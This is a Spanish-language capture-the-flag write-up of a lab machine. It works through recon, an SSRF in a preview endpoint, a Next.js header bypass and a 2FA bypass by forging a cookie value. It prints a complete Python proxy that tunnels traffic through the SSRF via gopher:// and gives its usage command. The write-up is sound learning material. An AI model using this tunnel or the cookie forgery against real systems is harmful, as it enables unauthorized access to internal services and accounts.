Introduction

El librero corrió con algunos cambios finales a la aplicación web antes de irse de vacaciones. En el proceso dejaron accidentalmente información sensible. Tu objetivo es encontrar y explotar las vulnerabilidades en la aplicación para extraer estos secretos.
Getting the Flags
Reconocimiento Inicial
Comenzaremos escaneando los puertos abiertos de la máquina.

Y ahora escaneamos más a fondo los puertos abiertos.

Vamos a pasar a listar directorios.

Vamos a ver cómo es la web.

Si miramos el código fuente encontramos la función que hace la visualización posible:

Profundización
Después de haber mirado en todos los directorios volvemos al posible open redirect. Vamos a ponernos en escucha por el puerto que elijamos y acto seguido mandaremos una petición.

Ahora escribimos la url:

Y al darle a enter:
Explotación
Para explotar esto vamos a compartir una reverse shell con el servidor.

Y ahora nos ponemos en escucha por el puerto definido en la reverse shell.

Y la cargamos desde la URL. Sin embargo esto no ha funcionado, por lo que se me ocurre que como es una redirección interna, podré listar directorios internos.

¡Bingo! Ahí hay dos, pero parece que puede ser más interesante /management. Vamos a ver qué hay:

Panel de login para un posible panel de administración.
Si miramos el código vemos que no realiza ninguna action, así que vamos a seguir enumerando. Ahora servicios internos.
Primero creamos un diccionario.

Y luego lo usamos para listar.

Parece que hay algo en el puerto 10000.

Como no me llevaba a ningún sitio me puse a mirar el código fuente, parecía que estuviera hecho con next.js. Buscando después en internet encontré varios artículos que hablaban de una vulnerabilidad en los headers de este framework:

Pero no podemos acceder directamente al puerto 10000, por lo que tenemos que tunelar las peticiones. Como no sabía hacerlo busque un writeup y encontré este, muy bien redactado. Donde explica cómo programar en Python un proxy que:
- Escucha localmente en
127.0.0.1:4002. - Redirige las peticiones a través de SSRF usando el protocolo
gopher://. - Encodea doblemente los payloads para que la API interna pueda recibir queries.
#!/usr/bin/env python3 import socket import requests import urllib.parse import threading import argparse def handle_client(conn, addr, target_host, host_to_proxy, port_to_proxy): with conn: data = conn.recv(65536) if not data: return # Double-encode payload double_encoded_data = urllib.parse.quote(urllib.parse.quote(data)) target_url = ( f"http://{target_host}/preview.php?url=" f"gopher://{host_to_proxy}:{port_to_proxy}/_{double_encoded_data}" ) try: resp = requests.get(target_url, timeout=10) conn.sendall(resp.content) except Exception as e: print(f"[!] Error forwarding request: {e}") conn.sendall(b"Proxy error") def main(): parser = argparse.ArgumentParser( description="Python proxy for SSRF gopher tunneling" ) parser.add_argument("--lhost", required=True, help="Local listen host (e.g., 127.0.0.1)") parser.add_argument("--lport", type=int, required=True, help="Local listen port (e.g., 4002)") parser.add_argument("--target", required=True, help="Target host with SSRF (e.g., extract.thm)") parser.add_argument("--phost", required=True, help="Host to proxy to inside (e.g., 127.0.0.1)") parser.add_argument("--pport", type=int, required=True, help="Port to proxy to inside (e.g., 80)") args = parser.parse_args() with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((args.lhost, args.lport)) s.listen() print(f"[*] Listening on {args.lhost}:{args.lport}, " f"proxying to {args.phost}:{args.pport} via {args.target}...") while True: conn, addr = s.accept() client_thread = threading.Thread( target=handle_client, args=(conn, addr, args.target, args.phost, args.pport), daemon=True, ) client_thread.start() if __name__ == "__main__": main()
Además nos da también un ejemplo de uso:
python3 proxy.py --lhost 127.0.0.1 --lport 4002 --target extract.thm --phost 127.0.0.1 --pport 10000
Ahora vamos a utilizarlo junto con el método de bypass.

Así se ve el renderizado:
Escalada de Privilegios
Hay credenciales a parte de la flag. Con dichas credenciales vamos a iniciar sesión en la página de login. Para poder ir a esta página desde el buscador, cambiamos el proxy a lo siguiente:

Y así nos queda:

Vamos a iniciar sesión.

Está bloqueado con un 2FA. Sin embargo si miramos en los tokens vemos uno curioso, URL-encodeado.

Vamos a decodearlo:

Esto lo que quiere decir es que es un objeto, con la propiedad validated=0, vamos a ponerla en 1 y a encodearla otra vez. La cambiamos en la página y la refrescamos.

Conclusión
Una máquina MUUUY compleja para mi ahora mismo, la verdad es que sin el writeup que contenía el proxy programado nunca hubiera sido capaz. Pero así también se aprende. Poco a poco iré mejorando. Esto es una carrera de fondo, y acabo de empezar.
